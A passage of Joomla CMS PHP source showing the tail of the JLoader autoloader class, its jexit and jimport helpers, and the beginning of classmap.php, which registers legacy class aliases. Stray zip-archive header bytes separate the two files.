/** * Container for namespace => path map. * * @var array * @since 3.1.4 */ protected static $namespaces = array('psr0' => array(), 'psr4' => array()); /** * Holds a reference for all deprecated aliases (mainly for use by a logging platform). * * @var array * @since 3.6.3 */ protected static $deprecatedAliases = array(); /** * Method to discover classes of a given type in a given path. * * @param string $classPrefix The class name prefix to use for discovery. * @param string $parentPath Full path to the parent folder for the classes to discover. * @param boolean $force True to overwrite the autoload path value for the class if it already exists. * @param boolean $recurse Recurse through all child directories as well as the parent path. * * @return void * * @since 1.7.0 */ public static function discover($classPrefix, $parentPath, $force = true, $recurse = false) { try { if ($recurse) { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($parentPath), RecursiveIteratorIterator::SELF_FIRST ); } else { $iterator = new DirectoryIterator($parentPath); } /** @type $file DirectoryIterator */ foreach ($iterator as $file) { $fileName = $file->getFilename(); // Only load for php files. if ($file->isFile() && $file->getExtension() === 'php') { // Get the class name and full path for each file. $class = strtolower($classPrefix . preg_replace('#\.php$#', '', $fileName)); // Register the class with the autoloader if not already registered or the force flag is set. if ($force || empty(self::$classes[$class])) { self::register($class, $file->getPath() . '/' . $fileName); } } } } catch (UnexpectedValueException $e) { // Exception will be thrown if the path is not a directory. Ignore it. } } /** * Method to get the list of registered classes and their respective file paths for the autoloader. * * @return array The array of class => path values for the autoloader. * * @since 1.7.0 */ public static function getClassList() { return self::$classes; } /** * Method to get the list of deprecated class aliases. * * @return array An associative array with deprecated class alias data. * * @since 3.6.3 */ public static function getDeprecatedAliases() { return self::$deprecatedAliases; } /** * Method to get the list of registered namespaces. * * @param string $type Defines the type of namespace, can be prs0 or psr4. * * @return array The array of namespace => path values for the autoloader. * * @since 3.1.4 */ public static function getNamespaces($type = 'psr0') { if ($type !== 'psr0' && $type !== 'psr4') { throw new InvalidArgumentException('Type needs to be prs0 or psr4!'); } return self::$namespaces[$type]; } /** * Loads a class from specified directories. * * @param string $key The class name to look for (dot notation). * @param string $base Search this directory for the class. * * @return boolean True on success. * * @since 1.7.0 */ public static function import($key, $base = null) { // Only import the library if not already attempted. if (!isset(self::$imported[$key])) { // Setup some variables. $success = false; $parts = explode('.', $key); $class = array_pop($parts); $base = (!empty($base)) ? $base : __DIR__; $path = str_replace('.', DIRECTORY_SEPARATOR, $key); // Handle special case for helper classes. if ($class === 'helper') { $class = ucfirst(array_pop($parts)) . ucfirst($class); } // Standard class. else { $class = ucfirst($class); } // If we are importing a library from the Joomla namespace set the class to autoload. if (strpos($path, 'joomla') === 0) { // Since we are in the Joomla namespace prepend the classname with J. $class = 'J' . $class; // Only register the class for autoloading if the file exists. if (is_file($base . '/' . $path . '.php')) { self::$classes[strtolower($class)] = $base . '/' . $path . '.php'; $success = true; } } /* * If we are not importing a library from the Joomla namespace directly include the * file since we cannot assert the file/folder naming conventions. */ else { // If the file exists attempt to include it. if (is_file($base . '/' . $path . '.php')) { $success = (bool) include_once $base . '/' . $path . '.php'; } } // Add the import key to the memory cache container. self::$imported[$key] = $success; } return self::$imported[$key]; } /** * Load the file for a class. * * @param string $class The class to be loaded. * * @return boolean True on success * * @since 1.7.0 */ public static function load($class) { // Sanitize class name. $key = strtolower($class); // If the class already exists do nothing. if (class_exists($class, false)) { return true; } // If the class is registered include the file. if (isset(self::$classes[$key])) { $found = (bool) include_once self::$classes[$key]; if ($found) { self::loadAliasFor($class); } // If the class doesn't exists, we probably have a class alias available if (!class_exists($class, false)) { // Search the alias class, first none namespaced and then namespaced $original = array_search($class, self::$classAliases) ? : array_search('\\' . $class, self::$classAliases); // When we have an original and the class exists an alias should be created if ($original && class_exists($original, false)) { class_alias($original, $class); } } return true; } return false; } /** * Directly register a class to the autoload list. * * @param string $class The class name to register. * @param string $path Full path to the file that holds the class to register. * @param boolean $force True to overwrite the autoload path value for the class if it already exists. * * @return void * * @since 1.7.0 */ public static function register($class, $path, $force = true) { // When an alias exists, register it as well if (key_exists(strtolower($class), self::$classAliases)) { self::register(self::stripFirstBackslash(self::$classAliases[strtolower($class)]), $path, $force); } // Sanitize class name. $class = strtolower($class); // Only attempt to register the class if the name and file exist. if (!empty($class) && is_file($path)) { // Register the class with the autoloader if not already registered or the force flag is set. if ($force || empty(self::$classes[$class])) { self::$classes[$class] = $path; } } } /** * Register a class prefix with lookup path. This will allow developers to register library * packages with different class prefixes to the system autoloader. More than one lookup path * may be registered for the same class prefix, but if this method is called with the reset flag * set to true then any registered lookups for the given prefix will be overwritten with the current * lookup path. When loaded, prefix paths are searched in a "last in, first out" order. * * @param string $prefix The class prefix to register. * @param string $path Absolute file path to the library root where classes with the given prefix can be found. * @param boolean $reset True to reset the prefix with only the given lookup path. * @param boolean $prepend If true, push the path to the beginning of the prefix lookup paths array. * * @return void * * @throws RuntimeException * * @since 3.0.0 */ public static function registerPrefix($prefix, $path, $reset = false, $prepend = false) { // Verify the library path exists. if (!file_exists($path)) { $path = (str_replace(JPATH_ROOT, '', $path) == $path) ? basename($path) : str_replace(JPATH_ROOT, '', $path); throw new RuntimeException('Library path ' . $path . ' cannot be found.', 500); } // If the prefix is not yet registered or we have an explicit reset flag then set set the path. if ($reset || !isset(self::$prefixes[$prefix])) { self::$prefixes[$prefix] = array($path); } // Otherwise we want to simply add the path to the prefix. else { if ($prepend) { array_unshift(self::$prefixes[$prefix], $path); } else { self::$prefixes[$prefix][] = $path; } } } /** * Offers the ability for "just in time" usage of `class_alias()`. * You cannot overwrite an existing alias. * * @param string $alias The alias name to register. * @param string $original The original class to alias. * @param string|boolean $version The version in which the alias will no longer be present. * * @return boolean True if registration was successful. False if the alias already exists. * * @since 3.2 */ public static function registerAlias($alias, $original, $version = false) { // PHP is case insensitive so support all kind of alias combination $lowercasedAlias = strtolower($alias); if (!isset(self::$classAliases[$lowercasedAlias])) { self::$classAliases[$lowercasedAlias] = $original; $original = self::stripFirstBackslash($original); if (!isset(self::$classAliasesInverse[$original])) { self::$classAliasesInverse[$original] = array($lowercasedAlias); } else { self::$classAliasesInverse[$original][] = $lowercasedAlias; } // If given a version, log this alias as deprecated if ($version) { self::$deprecatedAliases[] = array('old' => $alias, 'new' => $original, 'version' => $version); } return true; } return false; } /** * Register a namespace to the autoloader. When loaded, namespace paths are searched in a "last in, first out" order. * * @param string $namespace A case sensitive Namespace to register. * @param string $path A case sensitive absolute file path to the library root where classes of the given namespace can be found. * @param boolean $reset True to reset the namespace with only the given lookup path. * @param boolean $prepend If true, push the path to the beginning of the namespace lookup paths array. * @param string $type Defines the type of namespace, can be prs0 or psr4. * * @return void * * @throws RuntimeException * * @note The default argument of $type will be changed in J4 to be 'psr4' * @since 3.1.4 */ public static function registerNamespace($namespace, $path, $reset = false, $prepend = false, $type = 'psr0') { if ($type !== 'psr0' && $type !== 'psr4') { throw new InvalidArgumentException('Type needs to be prs0 or psr4!'); } // Verify the library path exists. if (!file_exists($path)) { $path = (str_replace(JPATH_ROOT, '', $path) == $path) ? basename($path) : str_replace(JPATH_ROOT, '', $path); throw new RuntimeException('Library path ' . $path . ' cannot be found.', 500); } // Trim leading and trailing backslashes from namespace, allowing "\Parent\Child", "Parent\Child\" and "\Parent\Child\" to be treated the same way. $namespace = trim($namespace, '\\'); // If the namespace is not yet registered or we have an explicit reset flag then set the path. if ($reset || !isset(self::$namespaces[$type][$namespace])) { self::$namespaces[$type][$namespace] = array($path); } // Otherwise we want to simply add the path to the namespace. else { if ($prepend) { array_unshift(self::$namespaces[$type][$namespace], $path); } else { self::$namespaces[$type][$namespace][] = $path; } } } /** * Method to setup the autoloaders for the Joomla Platform. * Since the SPL autoloaders are called in a queue we will add our explicit * class-registration based loader first, then fall back on the autoloader based on conventions. * This will allow people to register a class in a specific location and override platform libraries * as was previously possible. * * @param boolean $enablePsr True to enable autoloading based on PSR-0. * @param boolean $enablePrefixes True to enable prefix based class loading (needed to auto load the Joomla core). * @param boolean $enableClasses True to enable class map based class loading (needed to auto load the Joomla core). * * @return void * * @since 3.1.4 */ public static function setup($enablePsr = true, $enablePrefixes = true, $enableClasses = true) { if ($enableClasses) { // Register the class map based autoloader. spl_autoload_register(array('JLoader', 'load')); } if ($enablePrefixes) { // Register the J prefix and base path for Joomla platform libraries. self::registerPrefix('J', JPATH_PLATFORM . '/joomla'); // Register the prefix autoloader. spl_autoload_register(array('JLoader', '_autoload')); } if ($enablePsr) { // Register the PSR based autoloader. spl_autoload_register(array('JLoader', 'loadByPsr0')); spl_autoload_register(array('JLoader', 'loadByPsr4')); spl_autoload_register(array('JLoader', 'loadByAlias')); } } /** * Method to autoload classes that are namespaced to the PSR-4 standard. * * @param string $class The fully qualified class name to autoload. * * @return boolean True on success, false otherwise. * * @since 3.7.0 */ public static function loadByPsr4($class) { $class = self::stripFirstBackslash($class); // Find the location of the last NS separator. $pos = strrpos($class, '\\'); // If one is found, we're dealing with a NS'd class. if ($pos !== false) { $classPath = str_replace('\\', DIRECTORY_SEPARATOR, substr($class, 0, $pos)) . DIRECTORY_SEPARATOR; $className = substr($class, $pos + 1); } // If not, no need to parse path. else { $classPath = null; $className = $class; } $classPath .= $className . '.php'; // Loop through registered namespaces until we find a match. foreach (self::$namespaces['psr4'] as $ns => $paths) { if (strpos($class, "{$ns}\\") === 0) { $nsPath = trim(str_replace('\\', DIRECTORY_SEPARATOR, $ns), DIRECTORY_SEPARATOR); // Loop through paths registered to this namespace until we find a match. foreach ($paths as $path) { $classFilePath = realpath($path . DIRECTORY_SEPARATOR . substr_replace($classPath, '', 0, strlen($nsPath) + 1)); // We do not allow files outside the namespace root to be loaded if (strpos($classFilePath, realpath($path)) !== 0) { continue; } // We check for class_exists to handle case-sensitive file systems if (file_exists($classFilePath) && !class_exists($class, false)) { $found = (bool) include_once $classFilePath; if ($found) { self::loadAliasFor($class); } return $found; } } } } return false; } /** * Method to autoload classes that are namespaced to the PSR-0 standard. * * @param string $class The fully qualified class name to autoload. * * @return boolean True on success, false otherwise. * * @since 3.2.0 * * @deprecated 4.0 this method will be removed */ public static function loadByPsr0($class) { $class = self::stripFirstBackslash($class); // Find the location of the last NS separator. $pos = strrpos($class, '\\'); // If one is found, we're dealing with a NS'd class. if ($pos !== false) { $classPath = str_replace('\\', DIRECTORY_SEPARATOR, substr($class, 0, $pos)) . DIRECTORY_SEPARATOR; $className = substr($class, $pos + 1); } // If not, no need to parse path. else { $classPath = null; $className = $class; } $classPath .= str_replace('_', DIRECTORY_SEPARATOR, $className) . '.php'; // Loop through registered namespaces until we find a match. foreach (self::$namespaces['psr0'] as $ns => $paths) { if (strpos($class, $ns) === 0) { // Loop through paths registered to this namespace until we find a match. foreach ($paths as $path) { $classFilePath = realpath($path . DIRECTORY_SEPARATOR . $classPath); // We do not allow files outside the namespace root to be loaded if (strpos($classFilePath, realpath($path)) !== 0) { continue; } // We check for class_exists to handle case-sensitive file systems if (file_exists($classFilePath) && !class_exists($class, false)) { $found = (bool) include_once $classFilePath; if ($found) { self::loadAliasFor($class); } return $found; } } } } return false; } /** * Method to autoload classes that have been aliased using the registerAlias method. * * @param string $class The fully qualified class name to autoload. * * @return boolean True on success, false otherwise. * * @since 3.2 */ public static function loadByAlias($class) { $class = strtolower(self::stripFirstBackslash($class)); if (isset(self::$classAliases[$class])) { // Force auto-load of the regular class class_exists(self::$classAliases[$class], true); // Normally this shouldn't execute as the autoloader will execute applyAliasFor when the regular class is // auto-loaded above. if (!class_exists($class, false) && !interface_exists($class, false)) { class_alias(self::$classAliases[$class], $class); } } } /** * Applies a class alias for an already loaded class, if a class alias was created for it. * * @param string $class We'll look for and register aliases for this (real) class name * * @return void * * @since 3.4 */ public static function applyAliasFor($class) { $class = self::stripFirstBackslash($class); if (isset(self::$classAliasesInverse[$class])) { foreach (self::$classAliasesInverse[$class] as $alias) { class_alias($class, $alias); } } } /** * Autoload a class based on name. * * @param string $class The class to be loaded. * * @return boolean True if the class was loaded, false otherwise. * * @since 1.7.3 */ public static function _autoload($class) { foreach (self::$prefixes as $prefix => $lookup) { $chr = strlen($prefix) < strlen($class) ? $class[strlen($prefix)] : 0; if (strpos($class, $prefix) === 0 && ($chr === strtoupper($chr))) { return self::_load(substr($class, strlen($prefix)), $lookup); } } return false; } /** * Load a class based on name and lookup array. * * @param string $class The class to be loaded (without prefix). * @param array $lookup The array of base paths to use for finding the class file. * * @return boolean True if the class was loaded, false otherwise. * * @since 3.0.0 */ private static function _load($class, $lookup) { // Split the class name into parts separated by camelCase. $parts = preg_split('/(?<=[a-z0-9])(?=[A-Z])/x', $class); $partsCount = count($parts); foreach ($lookup as $base) { // Generate the path based on the class name parts. $path = realpath($base . '/' . implode('/', array_map('strtolower', $parts)) . '.php'); // Load the file if it exists and is in the lookup path. if (strpos($path, realpath($base)) === 0 && file_exists($path)) { $found = (bool) include_once $path; if ($found) { self::loadAliasFor($class); } return $found; } // Backwards compatibility patch // If there is only one part we want to duplicate that part for generating the path. if ($partsCount === 1) { // Generate the path based on the class name parts. $path = realpath($base . '/' . implode('/', array_map('strtolower', array($parts[0], $parts[0]))) . '.php'); // Load the file if it exists and is in the lookup path. if (strpos($path, realpath($base)) === 0 && file_exists($path)) { $found = (bool) include_once $path; if ($found) { self::loadAliasFor($class); } return $found; } } } return false; } /** * Loads the aliases for the given class. * * @param string $class The class. * * @return void * * @since 3.8.0 */ private static function loadAliasFor($class) { if (!key_exists($class, self::$classAliasesInverse)) { return; } foreach (self::$classAliasesInverse[$class] as $alias) { // Force auto-load of the alias class class_exists($alias, true); } } /** * Strips the first backslash from the given class if present. * * @param string $class The class to strip the first prefix from. * * @return string The striped class name. * * @since 3.8.0 */ private static function stripFirstBackslash($class) { return $class && $class[0] === '\\' ? substr($class, 1) : $class; } } // Check if jexit is defined first (our unit tests mock this) if (!function_exists('jexit')) { /** * Global application exit. * * This function provides a single exit point for the platform. * * @param mixed $message Exit code or string. Defaults to zero. * * @return void * * @codeCoverageIgnore * @since 1.7.0 */ function jexit($message = 0) { exit($message); } } /** * Intelligent file importer. * * @param string $path A dot syntax path. * @param string $base Search this directory for the class. * * @return boolean True on success. * * @since 1.7.0 */ function jimport($path, $base = null) { return JLoader::import($path, $base); } PK���\�Nl���classmap.phpnu�[���<?php /** * @package Joomla.Libraries * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ // No direct access. defined('_JEXEC') or die; JLoader::registerAlias('JRegistry', '\\Joomla\\Registry\\Registry', '5.0'); JLoader::registerAlias('JRegistryFormat', '\\Joomla\\Registry\\AbstractRegistryFormat', '4.0'); JLoader::registerAlias('JRegistryFormatIni', '\\Joomla\\Registry\\Format\\Ini', '5.0'); JLoader::registerAlias('JRegistryFormatJson', '\\Joomla\\Registry\\Format\\Json', '5.0'); JLoader::registerAlias('JRegistryFormatPhp', '\\Joomla\\Registry\\Format\\Php', '5.0'); JLoader::registerAlias('JRegistryFormatXml', '\\Joomla\\Registry\\Format\\Xml', '5.0'); JLoader::registerAlias('JStringInflector', '\\Joomla\\String\\Inflector', '5.0'); JLoader::registerAlias('JStringNormalise', '\\Joomla\\String\\Normalise', '5.0'); JLoader::registerAlias('JData', '\\Joomla\\Data\\DataObject', '5.0'); JLoader::registerAlias('JDataSet', '\\Joomla\\Data\\DataSet', '5.0'); JLoader::registerAlias('JDataDumpable', '\\Joomla\\Data\\DumpableInterface', '5.0'); JLoader::registerAlias('JApplicationAdministrator', '\\Joomla\\CMS\\Application\\AdministratorApplication', '5.0'); JLoader::registerAlias('JApplicationHelper', '\\Joomla\\CMS\\Application\\ApplicationHelper', '5.0'); JLoader::registerAlias('JApplicationBase', '\\Joomla\\CMS\\Application\\BaseApplication', '5.0'); JLoader::registerAlias('JApplicationCli', '\\Joomla\\CMS\\Application\\CliApplication', '5.0'); JLoader::registerAlias('JApplicationCms', '\\Joomla\\CMS\\Application\\CMSApplication', '5.0'); JLoader::registerAlias('JApplicationDaemon', '\\Joomla\\CMS\\Application\\DaemonApplication', '5.0'); JLoader::registerAlias('JApplicationSite', '\\Joomla\\CMS\\Application\\SiteApplication', '5.0'); JLoader::registerAlias('JApplicationWeb', '\\Joomla\\CMS\\Application\\WebApplication', '5.0'); JLoader::registerAlias('JApplicationWebClient', '\\Joomla\\Application\\Web\\WebClient', '5.0'); JLoader::registerAlias('JDaemon', '\\Joomla\\CMS\\Application\\DaemonApplication', '5.0'); JLoader::registerAlias('JCli', '\\Joomla\\CMS\\Application\\CliApplication', '5.0'); JLoader::registerAlias('JWeb', '\\Joomla\\CMS\\Application\\WebApplication', '4.0'); JLoader::registerAlias('JWebClient', '\\Joomla\\Application\\Web\\WebClient', '4.0'); JLoader::registerAlias('JModelAdmin', '\\Joomla\\CMS\\MVC\\Model\\AdminModel', '5.0'); JLoader::registerAlias('JModelForm', '\\Joomla\\CMS\\MVC\\Model\\FormModel', '5.0'); JLoader::registerAlias('JModelItem', '\\Joomla\\CMS\\MVC\\Model\\ItemModel', '5.0'); JLoader::registerAlias('JModelList', '\\Joomla\\CMS\\MVC\\Model\\ListModel', '5.0'); JLoader::registerAlias('JModelLegacy', '\\Joomla\\CMS\\MVC\\Model\\BaseDatabaseModel', '5.0'); JLoader::registerAlias('JViewCategories', '\\Joomla\\CMS\\MVC\\View\\CategoriesView', '5.0'); JLoader::registerAlias('JViewCategory', '\\Joomla\\CMS\\MVC\\View\\CategoryView', '5.0'); JLoader::registerAlias('JViewCategoryfeed', '\\Joomla\\CMS\\MVC\\View\\CategoryFeedView', '5.0'); JLoader::registerAlias('JViewLegacy', '\\Joomla\\CMS\\MVC\\View\\HtmlView', '5.0'); JLoader::registerAlias('JControllerAdmin', '\\Joomla\\CMS\\MVC\\Controller\\AdminController', '5.0'); JLoader::registerAlias('JControllerLegacy', '\\Joomla\\CMS\\MVC\\Controller\\BaseController', '5.0'); JLoader::registerAlias('JControllerForm', '\\Joomla\\CMS\\MVC\\Controller\\FormController', '5.0'); JLoader::registerAlias('JTableInterface', '\\Joomla\\CMS\\Table\\TableInterface', '5.0'); JLoader::registerAlias('JTable', '\\Joomla\\CMS\\Table\\Table', '5.0'); JLoader::registerAlias('JTableNested', '\\Joomla\\CMS\\Table\\Nested', '5.0'); JLoader::registerAlias('JTableAsset', '\\Joomla\\CMS\\Table\\Asset', '5.0'); JLoader::registerAlias('JTableExtension', '\\Joomla\\CMS\\Table\\Extension', '5.0'); JLoader::registerAlias('JTableLanguage', '\\Joomla\\CMS\\Table\\Language', '5.0'); JLoader::registerAlias('JTableUpdate', '\\Joomla\\CMS\\Table\\Update', '5.0'); JLoader::registerAlias('JTableUpdatesite', '\\Joomla\\CMS\\Table\\UpdateSite', '5.0'); JLoader::registerAlias('JTableUser', '\\Joomla\\CMS\\Table\\User', '5.0'); JLoader::registerAlias('JTableUsergroup', '\\Joomla\\CMS\\Table\\Usergroup', '5.0'); JLoader::registerAlias('JTableViewlevel', '\\Joomla\\CMS\\Table\\ViewLevel', '5.0'); JLoader::registerAlias('JTableContenthistory', '\\Joomla\\CMS\\Table\\ContentHistory', '5.0'); JLoader::registerAlias('JTableContenttype', '\\Joomla\\CMS\\Table\\ContentType', '5.0'); JLoader::registerAlias('JTableCorecontent', '\\Joomla\\CMS\\Table\\CoreContent', '5.0'); JLoader::registerAlias('JTableUcm', '\\Joomla\\CMS\\Table\\Ucm', '5.0'); JLoader::registerAlias('JTableCategory', '\\Joomla\\CMS\\Table\\Category', '5.0'); JLoader::registerAlias('JTableContent', '\\Joomla\\CMS\\Table\\Content', '5.0'); JLoader::registerAlias('JTableMenu', '\\Joomla\\CMS\\Table\\Menu', '5.0'); JLoader::registerAlias('JTableMenuType', '\\Joomla\\CMS\\Table\\MenuType', '5.0'); JLoader::registerAlias('JTableModule', '\\Joomla\\CMS\\Table\\Module', '5.0'); JLoader::registerAlias('JTableObserver', '\\Joomla\\CMS\\Table\\Observer\\AbstractObserver', '5.0'); JLoader::registerAlias('JTableObserverContenthistory', '\\Joomla\\CMS\\Table\\Observer\\ContentHistory', '5.0'); JLoader::registerAlias('JTableObserverTags', '\\Joomla\\CMS\\Table\\Observer\\Tags', '5.0'); JLoader::registerAlias('JAccess', '\\Joomla\\CMS\\Access\\Access', '5.0'); JLoader::registerAlias('JAccessRule', '\\Joomla\\CMS\\Access\\Rule', '5.0'); JLoader::registerAlias('JAccessRules', '\\Joomla\\CMS\\Access\\Rules', '5.0'); JLoader::registerAlias('JAccessWrapperAccess', '\\Joomla\\CMS\\Access\\Wrapper\\Access', '4.0'); JLoader::registerAlias('JAccessExceptionNotallowed', '\\Joomla\\CMS\\Access\\Exception\\NotAllowed', '5.0'); JLoader::registerAlias('JRule', '\\Joomla\\CMS\\Access\\Rule', '5.0'); JLoader::registerAlias('JRules', '\\Joomla\\CMS\\Access\\Rules', '5.0'); JLoader::registerAlias('JHelp', '\\Joomla\\CMS\\Help\\Help', '5.0'); JLoader::registerAlias('JCaptcha', '\\Joomla\\CMS\\Captcha\\Captcha', '5.0'); JLoader::registerAlias('JLanguageAssociations', '\\Joomla\\CMS\\Language\\Associations', '5.0'); JLoader::registerAlias('JLanguage', '\\Joomla\\CMS\\Language\\Language', '5.0'); JLoader::registerAlias('JLanguageHelper', '\\Joomla\\CMS\\Language\\LanguageHelper', '5.0'); JLoader::registerAlias('JLanguageStemmer', '\\Joomla\\CMS\\Language\\LanguageStemmer', '4.0'); JLoader::registerAlias('JLanguageMultilang', '\\Joomla\\CMS\\Language\\Multilanguage', '5.0'); JLoader::registerAlias('JText', '\\Joomla\\CMS\\Language\\Text', '5.0'); JLoader::registerAlias('JLanguageTransliterate', '\\Joomla\\CMS\\Language\\Transliterate', '5.0'); JLoader::registerAlias('JLanguageStemmerPorteren', '\\Joomla\\CMS\\Language\\Stemmer\\Porteren', '4.0'); JLoader::registerAlias('JLanguageWrapperText', '\\Joomla\\CMS\\Language\\Wrapper\\JTextWrapper', '4.0'); JLoader::registerAlias('JLanguageWrapperHelper', '\\Joomla\\CMS\\Language\\Wrapper\\LanguageHelperWrapper', '4.0'); JLoader::registerAlias('JLanguageWrapperTransliterate', '\\Joomla\\CMS\\Language\\Wrapper\\TransliterateWrapper', '4.0'); JLoader::registerAlias('JComponentHelper', '\\Joomla\\CMS\\Component\\ComponentHelper', '5.0'); JLoader::registerAlias('JComponentRecord', '\\Joomla\\CMS\\Component\\ComponentRecord', '5.0'); JLoader::registerAlias('JComponentExceptionMissing', '\\Joomla\\CMS\\Component\\Exception\\MissingComponentException', '5.0'); JLoader::registerAlias('JComponentRouterBase', '\\Joomla\\CMS\\Component\\Router\\RouterBase', '5.0'); JLoader::registerAlias('JComponentRouterInterface', '\\Joomla\\CMS\\Component\\Router\\RouterInterface', '5.0'); JLoader::registerAlias('JComponentRouterLegacy', '\\Joomla\\CMS\\Component\\Router\\RouterLegacy', '5.0'); JLoader::registerAlias('JComponentRouterView', '\\Joomla\\CMS\\Component\\Router\\RouterView', '5.0'); JLoader::registerAlias('JComponentRouterViewconfiguration', '\\Joomla\\CMS\\Component\\Router\\RouterViewConfiguration', '5.0'); JLoader::registerAlias('JComponentRouterRulesMenu', '\\Joomla\\CMS\\Component\\Router\\Rules\\MenuRules', '5.0'); JLoader::registerAlias('JComponentRouterRulesNomenu', '\\Joomla\\CMS\\Component\\Router\\Rules\\NomenuRules', '5.0'); JLoader::registerAlias('JComponentRouterRulesInterface', '\\Joomla\\CMS\\Component\\Router\\Rules\\RulesInterface', '5.0'); JLoader::registerAlias('JComponentRouterRulesStandard', '\\Joomla\\CMS\\Component\\Router\\Rules\\StandardRules', '5.0'); JLoader::registerAlias('JEditor', '\\Joomla\\CMS\\Editor\\Editor', '5.0'); JLoader::registerAlias('JErrorPage', '\\Joomla\\CMS\\Exception\\ExceptionHandler', '5.0'); JLoader::registerAlias('JAuthenticationHelper', '\\Joomla\\CMS\\Helper\\AuthenticationHelper', '5.0'); JLoader::registerAlias('JHelper', '\\Joomla\\CMS\\Helper\\CMSHelper', '5.0'); JLoader::registerAlias('JHelperContent', '\\Joomla\\CMS\\Helper\\ContentHelper', '5.0'); JLoader::registerAlias('JHelperContenthistory', '\\Joomla\\CMS\\Helper\\ContentHistoryHelper', '4.0'); JLoader::registerAlias('JLibraryHelper', '\\Joomla\\CMS\\Helper\\LibraryHelper', '5.0'); JLoader::registerAlias('JHelperMedia', '\\Joomla\\CMS\\Helper\\MediaHelper', '5.0'); JLoader::registerAlias('JModuleHelper', '\\Joomla\\CMS\\Helper\\ModuleHelper', '5.0'); JLoader::registerAlias('JHelperRoute', '\\Joomla\\CMS\\Helper\\RouteHelper', '5.0'); JLoader::registerAlias('JSearchHelper', '\\Joomla\\CMS\\Helper\\SearchHelper', '5.0'); JLoader::registerAlias('JHelperTags', '\\Joomla\\CMS\\Helper\\TagsHelper', '5.0'); JLoader::registerAlias('JHelperUsergroups', '\\Joomla\\CMS\\Helper\\UserGroupsHelper', '5.0'); JLoader::registerAlias('JLayoutBase', '\\Joomla\\CMS\\Layout\\BaseLayout', '5.0'); JLoader::registerAlias('JLayoutFile', '\\Joomla\\CMS\\Layout\\FileLayout', '5.0'); JLoader::registerAlias('JLayoutHelper', '\\Joomla\\CMS\\Layout\\LayoutHelper', '5.0'); JLoader::registerAlias('JLayout', '\\Joomla\\CMS\\Layout\\LayoutInterface', '5.0'); JLoader::registerAlias('JResponseJson', '\\Joomla\\CMS\\Response\\JsonResponse', '5.0'); JLoader::registerAlias('JPlugin', '\\Joomla\\CMS\\Plugin\\CMSPlugin', '5.0'); JLoader::registerAlias('JPluginHelper', '\\Joomla\\CMS\\Plugin\\PluginHelper', '5.0'); JLoader::registerAlias('JMenu', '\\Joomla\\CMS\\Menu\\AbstractMenu', '5.0'); JLoader::registerAlias('JMenuAdministrator', '\\Joomla\\CMS\\Menu\\AdministratorMenu', '5.0'); JLoader::registerAlias('JMenuItem', '\\Joomla\\CMS\\Menu\\MenuItem', '5.0'); JLoader::registerAlias('JMenuSite', '\\Joomla\\CMS\\Menu\\SiteMenu', '5.0'); JLoader::registerAlias('JPagination', '\\Joomla\\CMS\\Pagination\\Pagination', '5.0'); JLoader::registerAlias('JPaginationObject', '\\Joomla\\CMS\\Pagination\\PaginationObject', '5.0'); JLoader::registerAlias('JPathway', '\\Joomla\\CMS\\Pathway\\Pathway', '5.0'); JLoader::registerAlias('JPathwaySite', '\\Joomla\\CMS\\Pathway\\SitePathway', '5.0'); JLoader::registerAlias('JSchemaChangeitem', '\\Joomla\\CMS\\Schema\\ChangeItem', '5.0'); JLoader::registerAlias('JSchemaChangeset', '\\Joomla\\CMS\\Schema\\ChangeSet', '5.0'); JLoader::registerAlias('JSchemaChangeitemMysql', '\\Joomla\\CMS\\Schema\\ChangeItem\\MysqlChangeItem', '5.0'); JLoader::registerAlias('JSchemaChangeitemPostgresql', '\\Joomla\\CMS\\Schema\\ChangeItem\\PostgresqlChangeItem', '5.0'); JLoader::registerAlias('JSchemaChangeitemSqlsrv', '\\Joomla\\CMS\\Schema\\ChangeItem\\SqlsrvChangeItem', '5.0'); JLoader::registerAlias('JUcm', '\\Joomla\\CMS\\UCM\\UCM', '5.0'); JLoader::registerAlias('JUcmBase', '\\Joomla\\CMS\\UCM\\UCMBase', '5.0'); JLoader::registerAlias('JUcmContent', '\\Joomla\\CMS\\UCM\\UCMContent', '5.0'); JLoader::registerAlias('JUcmType', '\\Joomla\\CMS\\UCM\\UCMType', '5.0'); JLoader::registerAlias('JToolbar', '\\Joomla\\CMS\\Toolbar\\Toolbar', '5.0'); JLoader::registerAlias('JToolbarButton', '\\Joomla\\CMS\\Toolbar\\ToolbarButton', '5.0'); JLoader::registerAlias('JToolbarButtonConfirm', '\\Joomla\\CMS\\Toolbar\\Button\\ConfirmButton', '5.0'); JLoader::registerAlias('JToolbarButtonCustom', '\\Joomla\\CMS\\Toolbar\\Button\\CustomButton', '5.0'); JLoader::registerAlias('JToolbarButtonHelp', '\\Joomla\\CMS\\Toolbar\\Button\\HelpButton', '5.0'); JLoader::registerAlias('JToolbarButtonLink', '\\Joomla\\CMS\\Toolbar\\Button\\LinkButton', '5.0'); JLoader::registerAlias('JToolbarButtonPopup', '\\Joomla\\CMS\\Toolbar\\Button\\PopupButton', '5.0'); JLoader::registerAlias('JToolbarButtonSeparator', '\\Joomla\\CMS\\Toolbar\\Button\\SeparatorButton', '5.0'); JLoader::registerAlias('JToolbarButtonSlider', '\\Joomla\\CMS\\Toolbar\\Button\\SliderButton', '5.0'); JLoader::registerAlias('JToolbarButtonStandard', '\\Joomla\\CMS\\Toolbar\\Button\\StandardButton', '5.0'); JLoader::registerAlias('JToolbarHelper', '\\Joomla\\CMS\\Toolbar\\ToolbarHelper', '5.0'); JLoader::registerAlias('JButton', '\\Joomla\\CMS\\Toolbar\\ToolbarButton', '5.0'); JLoader::registerAlias('JVersion', '\\Joomla\\CMS\\Version', '5.0'); JLoader::registerAlias('JAuthentication', '\\Joomla\\CMS\\Authentication\\Authentication', '5.0'); JLoader::registerAlias('JAuthenticationResponse', '\\Joomla\\CMS\\Authentication\\AuthenticationResponse', '5.0'); JLoader::registerAlias('JBrowser', '\\Joomla\\CMS\\Environment\\Browser', '5.0'); JLoader::registerAlias('JAssociationExtensionInterface', '\\Joomla\\CMS\\Association\\AssociationExtensionInterface', '5.0'); JLoader::registerAlias('JAssociationExtensionHelper', '\\Joomla\\CMS\\Association\\AssociationExtensionHelper', '5.0'); JLoader::registerAlias('JDocument', '\\Joomla\\CMS\\Document\\Document', '5.0'); JLoader::registerAlias('JDocumentError', '\\Joomla\\CMS\\Document\\ErrorDocument', '5.0'); JLoader::registerAlias('JDocumentFeed', '\\Joomla\\CMS\\Document\\FeedDocument', '5.0'); JLoader::registerAlias('JDocumentHtml', 